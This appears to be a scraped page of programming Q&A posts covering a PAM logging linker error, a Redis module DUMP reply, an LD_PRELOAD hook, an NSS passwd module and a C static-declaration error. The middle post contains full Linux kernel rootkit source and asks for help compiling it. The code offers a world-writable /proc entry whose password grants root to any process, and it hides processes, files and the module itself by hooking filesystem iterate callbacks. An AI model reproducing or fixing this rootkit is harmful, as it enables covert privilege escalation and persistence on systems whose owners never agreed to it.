My code uses Pam library for user authentication. When the there is a failure to login. I would need to print syslog message in a specific format, instead of the current syslog format in the function pam_vsyslog of libpam library.
I intend to write a new function that would write syslog in my required format.
Below are definitions : in file pam_ext.h
extern void PAM_FORMAT((printf, 3, 0)) PAM_NONNULL((3))
pam_kniwx_vsyslog (const pam_handle_t *pamh, int priority,
const char *fmt, va_list args);
extern void PAM_FORMAT((printf, 3, 4)) PAM_NONNULL((3))
pam_kniwx_syslog (const pam_handle_t *pamh, int priority, const char *fmt, ...);
Implementation: libpam/libpam/pam_syslog.c
pam_kniwx_vsyslog (const pam_handle_t *pamh, int priority,
const char *fmt, va_list args)
{
char *msgbuf2 = NULL;
int save_errno = errno;
errno = save_errno;
if (vasprintf (&msgbuf2, fmt, args) < 0)
{
syslog (LOG_AUTHPRIV|LOG_ERR, "vasprintf: %m");
_pam_drop (msgbuf1);
return;
}
errno = save_errno;
syslog (LOG_AUTHPRIV|priority, "%s", msgbuf2);
_pam_drop (msgbuf2);
}
void
pam_kniwx_syslog (const pam_handle_t *pamh, int priority,
const char *fmt, ...)
{
va_list args;
va_start (args, fmt);
pam_kniwx_vsyslog (pamh, priority, fmt, args);
va_end (args);
}
In case of authentication failure I would like to invoke pam_kniwx_syslog from libpam/modules/pam_unix/support.c function :
pam_kniwx_syslog(pamh, LOG_NOTICE,
"authentication failure; "
"logname=%s uid=%d euid=%d "
tty=%s ruser=%s rhost=%s "
"%s%s",
new->name, new->uid, new->euid,
tty ? (const char *)tty : "",
ruser ? (const char *)ruser : "",
rhost ? (const char *)rhost : "",
new->user && new->user[0] != '\0')
? " user=" : "",
new->user
);
With this change When I compile the code, I seem to run into undefined reference in spite having the definitions and the header file inclusion.
/usr/src/debug/libpam/1.3.0-r5/libpam-1.3.0/modules/pam_unix/../../../../../../../../libpam/modules/pam_unix/support.c:850: undefined reference to `pam_kniwx_syslog'
collect2: error: ld returned 1 exit status
Makefile:799: recipe for target 'pam_unix.la' failed
make[3]: *** [pam_unix.la] Error 1
make[3]: Leaving directory
Any help to resolve the issue is much appreciated.
Related
I develop a redis module that call the native redis DUMP command.
But when i call dump command on existing key, nothing is return but if i replace the DUMP command by GET the value is returned
Here is the code :
#include "redismodule.h"
#include <stdio.h>
#include <stdlib.h>
int mydump_command(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) {
REDISMODULE_NOT_USED(argc);
RedisModule_AutoMemory(ctx);
RedisModuleCallReply *rep = RedisModule_Call(ctx, "DUMP", "s", argv[1]);
const char *value = RedisModule_CallReplyStringPtr(rep, NULL);
RedisModule_Log(ctx, "warning", value);
RedisModule_ReplyWithSimpleString(ctx, value);
return REDISMODULE_OK;
}
int myget_command(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) {
REDISMODULE_NOT_USED(argc);
RedisModule_AutoMemory(ctx);
RedisModuleCallReply *rep = RedisModule_Call(ctx, "GET", "s", argv[1]);
const char *value = RedisModule_CallReplyStringPtr(rep, NULL);
RedisModule_Log(ctx, "warning", value);
RedisModule_ReplyWithSimpleString(ctx, value);
return REDISMODULE_OK;
}
int RedisModule_OnLoad(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) {
if (RedisModule_Init(ctx, "module_test", 1, REDISMODULE_APIVER_1) == REDISMODULE_ERR) {
return REDISMODULE_ERR;
}
if (RedisModule_CreateCommand(ctx, "mydump", mydump_command, "write deny-oom", 1, 1, 1) == REDISMODULE_ERR) {
return REDISMODULE_ERR;
}
if (RedisModule_CreateCommand(ctx, "myget", myget_command, "write deny-oom", 1, 1, 1) == REDISMODULE_ERR) {
return REDISMODULE_ERR;
}
return REDISMODULE_OK;
}
In redis-cli i get the following result :
127.0.0.1:6379> SET foo bar
OK
127.0.0.1:6379> GET foo
"bar"
127.0.0.1:6379> DUMP foo
"\x00\x03bar\b\x00_\x93\xa5\xdfG\x7fw/"
127.0.0.1:6379> mydump foo
127.0.0.1:6379> myget foo
bar
127.0.0.1:6379>
Note that with my custom command, redis-cli don't disply double quotes.
Can someone help me know why calling DUMP command return nothing.
The problem in your code is that you're treating the reply as a simple string, whereas Redis' may be binary. While GET returns a simple string value (as you SET foo bar), DUMPs encoding is binary. The following works:
int mydump_command(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) {
REDISMODULE_NOT_USED(argc);
RedisModule_AutoMemory(ctx);
RedisModuleCallReply *rep = RedisModule_Call(ctx, "DUMP", "s", argv[1]);
size_t vlen;
const char *value = RedisModule_CallReplyStringPtr(rep, &vlen);
RedisModule_ReplyWithStringBuffer(ctx, value, vlen);
return REDISMODULE_OK;
}
I want to code a function called "CSys::Printf" using LD_Preload, but I think it would not be so easy, as in C you can't have "::" in function name, that would be needed to match the original function name.
A piece of the code used to hook would be like this:
int CSys::Printf(const char *format, ...) {
void *handle;
char *error;
if (conprint == NULL) {
handle = dlopen("dedicated.so", RTLD_LAZY);
if (!handle) {
fputs(dlerror(), stderr);
exit(1);
}
conprint = (int (*)(const char *format, ...))dlsym(handle, "CSys::Printf");
if ((error = dlerror()) != NULL) {
fprintf(stderr, "%s\n", error);
exit(1);
}
printf("*HOOK CSys::Printf OK*");
}
Well, this should work at hooking any function except this case, where the compiler won't accept the "::" on function name.
What should I do?
Thanks!
I am trying to follow an example rootkit given here https://github.com/ivyl/rootkit
I modified this example so that I can compile it on linux version 3.11.
I found that latest linux versions stopped supporting few API's such as create_proc_entry, readdir has been replaced by iterate etc.
On linux version is 3.11.0-23 I also observed that my include directories does not contain internal.h so as to have complete definition of proc_dir_entry. On lower versions on linux ( < 3.10 ) we are having definition for proc_dir_entry in proc_fs.h file.
The modified rootkit file looks like this:
#include <linux/init.h>
#include <linux/module.h>
#include <linux/proc_fs.h>
#include <linux/string.h>
#include <linux/cred.h>
#include <linux/fs.h>
//#include "fs/proc/internal.h"
#define MIN(a,b) \
({ typeof (a) _a = (a); \
typeof (b) _b = (b); \
_a < _b ? _a : _b; })
#define MAX_PIDS 50
MODULE_LICENSE("Dual BSD/GPL");
MODULE_AUTHOR("Arkadiusz Hiler<ivyl#sigillum.cc>");
MODULE_AUTHOR("Michal Winiarski<t3hkn0r#gmail.com>");
//STATIC VARIABLES SECTION
//we don't want to have it visible in kallsyms and have access to it all the time
static struct proc_dir_entry *proc_root;
static struct proc_dir_entry *proc_rtkit;
static int (*proc_iterate_orig)(struct file *, struct dir_context *);
static int (*fs_iterate_orig)(struct file *, struct dir_context *);
static filldir_t proc_filldir_orig;
static filldir_t fs_filldir_orig;
static struct file_operations *proc_fops;
static struct file_operations *fs_fops;
static struct list_head *module_previous;
static struct list_head *module_kobj_previous;
static char pids_to_hide[MAX_PIDS][8];
static int current_pid = 0;
static char hide_files = 1;
static char module_hidden = 0;
static char module_status[1024];
//MODULE HELPERS
void module_hide(void)
{
if (module_hidden) return;
module_previous = THIS_MODULE->list.prev;
list_del(&THIS_MODULE->list);
module_kobj_previous = THIS_MODULE->mkobj.kobj.entry.prev;
kobject_del(&THIS_MODULE->mkobj.kobj);
list_del(&THIS_MODULE->mkobj.kobj.entry);
module_hidden = !module_hidden;
}
void module_show(void)
{
int result;
if (!module_hidden) return;
list_add(&THIS_MODULE->list, module_previous);
result = kobject_add(&THIS_MODULE->mkobj.kobj, THIS_MODULE->mkobj.kobj.parent, "rt");
module_hidden = !module_hidden;
}
//PAGE RW HELPERS
static void set_addr_rw(void *addr)
{
unsigned int level;
pte_t *pte = lookup_address((unsigned long) addr, &level);
if (pte->pte &~ _PAGE_RW) pte->pte |= _PAGE_RW;
}
static void set_addr_ro(void *addr)
{
unsigned int level;
pte_t *pte = lookup_address((unsigned long) addr, &level);
pte->pte = pte->pte &~_PAGE_RW;
}
//CALLBACK SECTION
static int proc_filldir_new(void *buf, const char *name, int namelen, loff_t offset, u64 ino, unsigned d_type)
{
int i;
for (i=0; i < current_pid; i++) {
if (!strcmp(name, pids_to_hide[i])) return 0;
}
if (!strcmp(name, "rtkit")) return 0;
return proc_filldir_orig(buf, name, namelen, offset, ino, d_type);
}
static int proc_iterate_new(struct file *filp, struct dir_context *dir_ctx)
{
proc_filldir_orig = dir_ctx->actor;
return proc_iterate_orig(filp, dir_ctx);
}
static int fs_filldir_new(void *buf, const char *name, int namelen, loff_t offset, u64 ino, unsigned d_type)
{
if (hide_files && (!strncmp(name, "__rt", 4) || !strncmp(name, "10-__rt", 7))) return 0;
return fs_filldir_orig(buf, name, namelen, offset, ino, d_type);
}
static int fs_iterate_new(struct file *filp, struct dir_context *dir_ctx)
{
fs_filldir_orig = dir_ctx->actor;
return fs_iterate_orig(filp, dir_ctx);
}
static int rtkit_read(char *buffer, char **buffer_location, off_t off, int count, int *eof, void *data)
{
int size;
sprintf(module_status,
"RTKIT\n\
DESC:\n\
hides files prefixed with __rt or 10-__rt and gives root\n\
CMNDS:\n\
godisgreat - uid and gid 0 for writing process\n\
hpXXXX - hides proc with id XXXX\n\
up - unhides last process\n\
thf - toogles file hiding\n\
mh - module hide\n\
ms - module show\n\
STATUS\n\
fshide: %d\n\
pids_hidden: %d\n\
module_hidden: %d\n", hide_files, current_pid, module_hidden);
size = strlen(module_status);
if (off >= size) return 0;
if (count >= size-off) {
memcpy(buffer, module_status+off, size-off);
} else {
memcpy(buffer, module_status+off, count);
}
return size-off;
}
static int rtkit_write(struct file *file, const char __user *buff, unsigned long count, void *data)
{
if (!strncmp(buff, "godisgreat", MIN(11, count))) { //changes to root
struct cred *credentials = prepare_creds();
credentials->uid = credentials->euid = 0;
credentials->gid = credentials->egid = 0;
commit_creds(credentials);
} else if (!strncmp(buff, "hp", MIN(2, count))) {//upXXXXXX hides process with given id
if (current_pid < MAX_PIDS) strncpy(pids_to_hide[current_pid++], buff+2, MIN(7, count-2));
} else if (!strncmp(buff, "up", MIN(2, count))) {//unhides last hidden process
if (current_pid > 0) current_pid--;
} else if (!strncmp(buff, "thf", MIN(3, count))) {//toggles hide files in fs
hide_files = !hide_files;
} else if (!strncmp(buff, "mh", MIN(2, count))) {//module hide
module_hide();
} else if (!strncmp(buff, "ms", MIN(2, count))) {//module hide
module_show();
}
return count;
}
//INITIALIZING/CLEANING HELPER METHODS SECTION
static void procfs_clean(void)
{
if (proc_rtkit != NULL) {
remove_proc_entry("rtkit", NULL);
proc_rtkit = NULL;
}
if (proc_fops != NULL && proc_iterate_orig != NULL) {
set_addr_rw(proc_fops);
proc_fops->iterate = proc_iterate_orig;
set_addr_ro(proc_fops);
}
}
static void fs_clean(void)
{
if (fs_fops != NULL && fs_iterate_orig != NULL) {
set_addr_rw(fs_fops);
fs_fops->iterate = fs_iterate_orig;
set_addr_ro(fs_fops);
}
}
static int __init procfs_init(void)
{
//new entry in proc root with 666 rights
proc_rtkit = proc_create("rtkit", 0666, 0, NULL);
if (proc_rtkit == NULL) return 0;
proc_root = proc_rtkit->parent;
if (proc_root == NULL || strcmp(proc_root->name, "/proc") != 0) {
return 0;
}
proc_rtkit->read_proc = rtkit_read;
proc_rtkit->write_proc = rtkit_write;
//substitute proc iterate to our wersion (using page mode change)
proc_fops = ((struct file_operations *) proc_root->proc_fops);
proc_iterate_orig = proc_fops->iterate;
set_addr_rw(proc_fops);
proc_fops->iterate = proc_iterate_new;
set_addr_ro(proc_fops);
return 1;
}
static int __init fs_init(void)
{
struct file *etc_filp;
//get file_operations of /etc
etc_filp = filp_open("/etc", O_RDONLY, 0);
if (etc_filp == NULL) return 0;
fs_fops = (struct file_operations *) etc_filp->f_op;
filp_close(etc_filp, NULL);
//substitute iterate of fs on which /etc is
fs_iterate_orig = fs_fops->iterate;
set_addr_rw(fs_fops);
fs_fops->iterate = fs_iterate_new;
set_addr_ro(fs_fops);
return 1;
}
//MODULE INIT/EXIT
static int __init rootkit_init(void)
{
if (!procfs_init() || !fs_init()) {
procfs_clean();
fs_clean();
return 1;
}
module_hide();
return 0;
}
static void __exit rootkit_exit(void)
{
procfs_clean();
fs_clean();
}
module_init(rootkit_init);
module_exit(rootkit_exit);
While trying to build the code I am getting error "dereferencing pointer to incomplete type" because compiler is unaware about the complete definition for proc_dif_entry.
/prj/Rootkit/example3# make
make -C /lib/modules/3.11.0-23-generic/build M=/prj/Rootkit/example3 modules
make[1]: Entering directory `/usr/src/linux-headers-3.11.0-23-generic'
CC [M] /prj/Rootkit/example3/rt.o
/prj/Rootkit/example3/rt.c: In function ‘procfs_init’:
/prj/Rootkit/example3/rt.c:195:24: error: dereferencing pointer to incomplete type
/prj/Rootkit/example3/rt.c:196:43: error: dereferencing pointer to incomplete type
/prj/Rootkit/example3/rt.c:199:12: error: dereferencing pointer to incomplete type
/prj/Rootkit/example3/rt.c:200:12: error: dereferencing pointer to incomplete type
/prj/Rootkit/example3/rt.c:203:51: error: dereferencing pointer to incomplete type
/prj/Rootkit/example3/rt.c: At top level:
/prj/Rootkit/example3/rt.c:84:12: warning: ‘proc_filldir_new’ defined but not used [-Wunused-function]
/prj/Rootkit/example3/rt.c:100:12: warning: ‘fs_filldir_new’ defined but not used [-Wunused-function]
make[2]: *** [/prj/Rootkit/example3/rt.o] Error 1
make[1]: *** [_module_/prj/Rootkit/example3] Error 2
make[1]: Leaving directory `/usr/src/linux-headers-3.11.0-23-generic'
make: *** [default] Error 2
root#HP:/prj/Rootkit/example3# ^C
I am not sure how to proceed to resolve these errors.
Any Help !
Thanks,
-Hitesh.
So I am trying to add a service to NSS (Name Service Switch). Please note the GNU guide on how to do it here. I have been following that guide. I need to implement a service that works with the passwd database.
The problem I am having is my module is not being called for certain functions. Let me reproduce some of my code here...
enum nss_status
_nss_myservice_setpwent (void) {
printf( "# %s\n", __FUNCTION__ ) ;
return NSS_STATUS_SUCCESS ;
} ;
enum nss_status
_nss_myservice_endpwent (void) {
printf( "# %s\n", __FUNCTION__ ) ;
return NSS_STATUS_SUCCESS ;
} ;
enum nss_status
_nss_myservice_getpwent_r (struct passwd *result, char *buffer,
size_t buflen, int *errnop) {
static int i = 0 ;
if( i++ == 0 ) {
printf( "# %s\n", __FUNCTION__ ) ;
return init_result( result, buffer, buflen, errnop ) ;
} else {
i = 0 ;
return NSS_STATUS_NOTFOUND ;
}
} ;
enum nss_status
_nss_myservice_getpwbynam (const char *nam, struct passwd *result, char *buffer,
size_t buflen, int *errnop) {
printf( "# %s with name %s\n", __FUNCTION__, nam ) ;
return init_result( result, buffer, buflen, errnop ) ;
} ;
enum nss_status
_nss_myservice_getpwbynam_r (const char *nam, struct passwd *result, char *buffer,
size_t buflen, int *errnop) {
printf( "# %s with name_r %s\n", __FUNCTION__, nam ) ;
return init_result( result, buffer, buflen, errnop ) ;
} ;
Init_result is an inline function that simply fills in the result with a dummy user no matter what the PARAMS are.
Now I have my /etc/nsswitch.conf setup as follows:
passwd: myservice compat
And for completeness here is my Makefile.
all:
gcc -fPIC -shared -o libnss_myservice.so.2 -Wl,-soname,libnss_myservice.so.2 myservice.c
install:
sudo install -m 0644 libnss_myservice.so.2 /lib
sudo /sbin/ldconfig -n /lib /usr/lib
clean:
/bin/rf -rf libnss_myservice.so.2
Now after installing this nss module I run getent on the command line and here is my output:
username#host:~/nss$ getent passwd
# _nss_myservice_setpwent
# _nss_myservice_getpwent_r
myuser:mypass:1:1:realname::
root:x:0:0:root:/root:/bin/bash
...
# _nss_myservice_endpwent
So as you can see that is working as I would expect. The iterative call is made which returns the user and then the compat service is called which returns all the user from /etc/passwd.
The problem is when I make this call, "getent passwd myuser", I get a return value of 2, "Key not found in database". This shows me my _nss_myservice_getpwbynam_r function is not being called. Any ideas why? I can provide the complete code if that would help.
You need to call the function _nss_myservice_getpwnam_r instead of _nss_myservice_getpwbynam_r.
After looking at ftp://ftp.acer-euro.com/gpl/Utility/glibc/glibc-2.2.5.tar/include/pwd.h :
#define DECLARE_NSS_PROTOTYPES(service) \
extern enum nss_status _nss_ ## service ## _setpwent (int); \
extern enum nss_status _nss_ ## service ## _endpwent (void); \
extern enum nss_status _nss_ ## service ## _getpwnam_r \ <<< this line
(const char *name, struct passwd *pwd, \
char *buffer, size_t buflen, int *errnop); \
extern enum nss_status _nss_ ## service ## _getpwuid_r \
(uid_t uid, struct passwd *pwd, \
char *buffer, size_t buflen, int *errnop); \
extern enum nss_status _nss_ ## service ##_getpwent_r \
(struct passwd *result, char *buffer, \
size_t buflen, int *errnop);
This question is unlikely to help any future visitors; it is only relevant to a small geographic area, a specific moment in time, or an extraordinarily narrow situation that is not generally applicable to the worldwide audience of the internet. For help making this question more broadly applicable, visit the help center.
Closed 10 years ago.
So I have a header file and 2 .c files within the beginnings of my program. I go to compile and I get the error message (tons of these over and over)
command_parser.c:74:6: error: static declaration of ‘read_args_file’ follows non-static declaration
command_parser.h:9:6: note: previous declaration of ‘read_args_file’ was here
Now I do not use the static keyword ANYWHERE in my program...so why would GCC go and think that I've declared a static function???
Below is the relevant code for read_args_file's declaration in the .h and .c files:
void read_args_file(char* file_name, char* out_file_name, int (*command_read)(char* command, FILE* out));
void read_args_file(char* file_name, char* out_file_name, int (*command_read)(char* command, FILE* out)) {
.....
}
EDIT:
The entire .h file is:
#ifndef COMMAND_PARSER_H_
#define COMMAND_PARSER_H_
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
/* line 8 follows: */
void switch_parsing(int argc, char* argv[], int (*command_read)(char* command, FILE* out), char* (*pr int_usage)()) {
void read_args_file(char* file_name, char* out_file_name, int (*command_read)(char* command, FILE* ou t));
void read_args_input(int (*command_read)(char* command, FILE* out));
#endif
The command_parser.c file until the function definition is:
void switch_parsing(int argc, char* argv[], int (*command_read)(char* command, FILE* out), char* (*print_usage)()) {
char* arg;
char* return_string;
char* wrong_string = "Please enter either -i, -h, or -f as a switch. Use -h for help.\n";
char* invalid_f_args = "You entered an invalid number of arguments for the -f switch! Only two are permitted, <commands_file> and <output_file>.\n";
int str_len = 0;
char cur;
if (argc > 1) {
arg = argv[1];
}
else {
arg = "\0";
}
str_len = strlen(arg);
if (str_len == 2) {
if (arg[0] == '-') {
cur = arg[1];
if (cur == 'i') {
read_args_input(command_read);
return_string = "";
}
else if (cur == 'f') {
if (argc == 4) {
read_args_file(argv[2], argv[3], (*command_read));
return_string = "";
}
else {
return_string = invalid_f_args;
}
}
else if (cur == 'h') {
return_string = print_usage();
}
else {
return_string = "The switch ";
return_string = strcat(return_string, &cur);
return_string = strcat(return_string, " is an invalid switch.\n");
}
}
}
else if (str_len == 1) {
return_string = wrong_string;
}
else if (str_len > 2) {
return_string = wrong_string;
}
else if (str_len == 0) {
return_string = print_usage();
}
else {
return_string = wrong_string;
}
}
/**
* Reads arguments from a passed in file name, and writes the output from the commands
* in the file to the out_file_name. Arguments are run through command_read function
* passed in to be executed.
*/
/* line 74 follows: */
void read_args_file(char* file_name, char* out_file_name, int (*command_read)(char* command, FILE* out)) {
There is a brace open in the .h file line 8: void switch_parsing(int argc, ..... ){
The lines that follow are treated by the compile as one big function body, and the final error will be found after the compiler fails to find a matching '}'. Many lines (and files) later. The OP got lucky: the compiler first found another (semantic) error.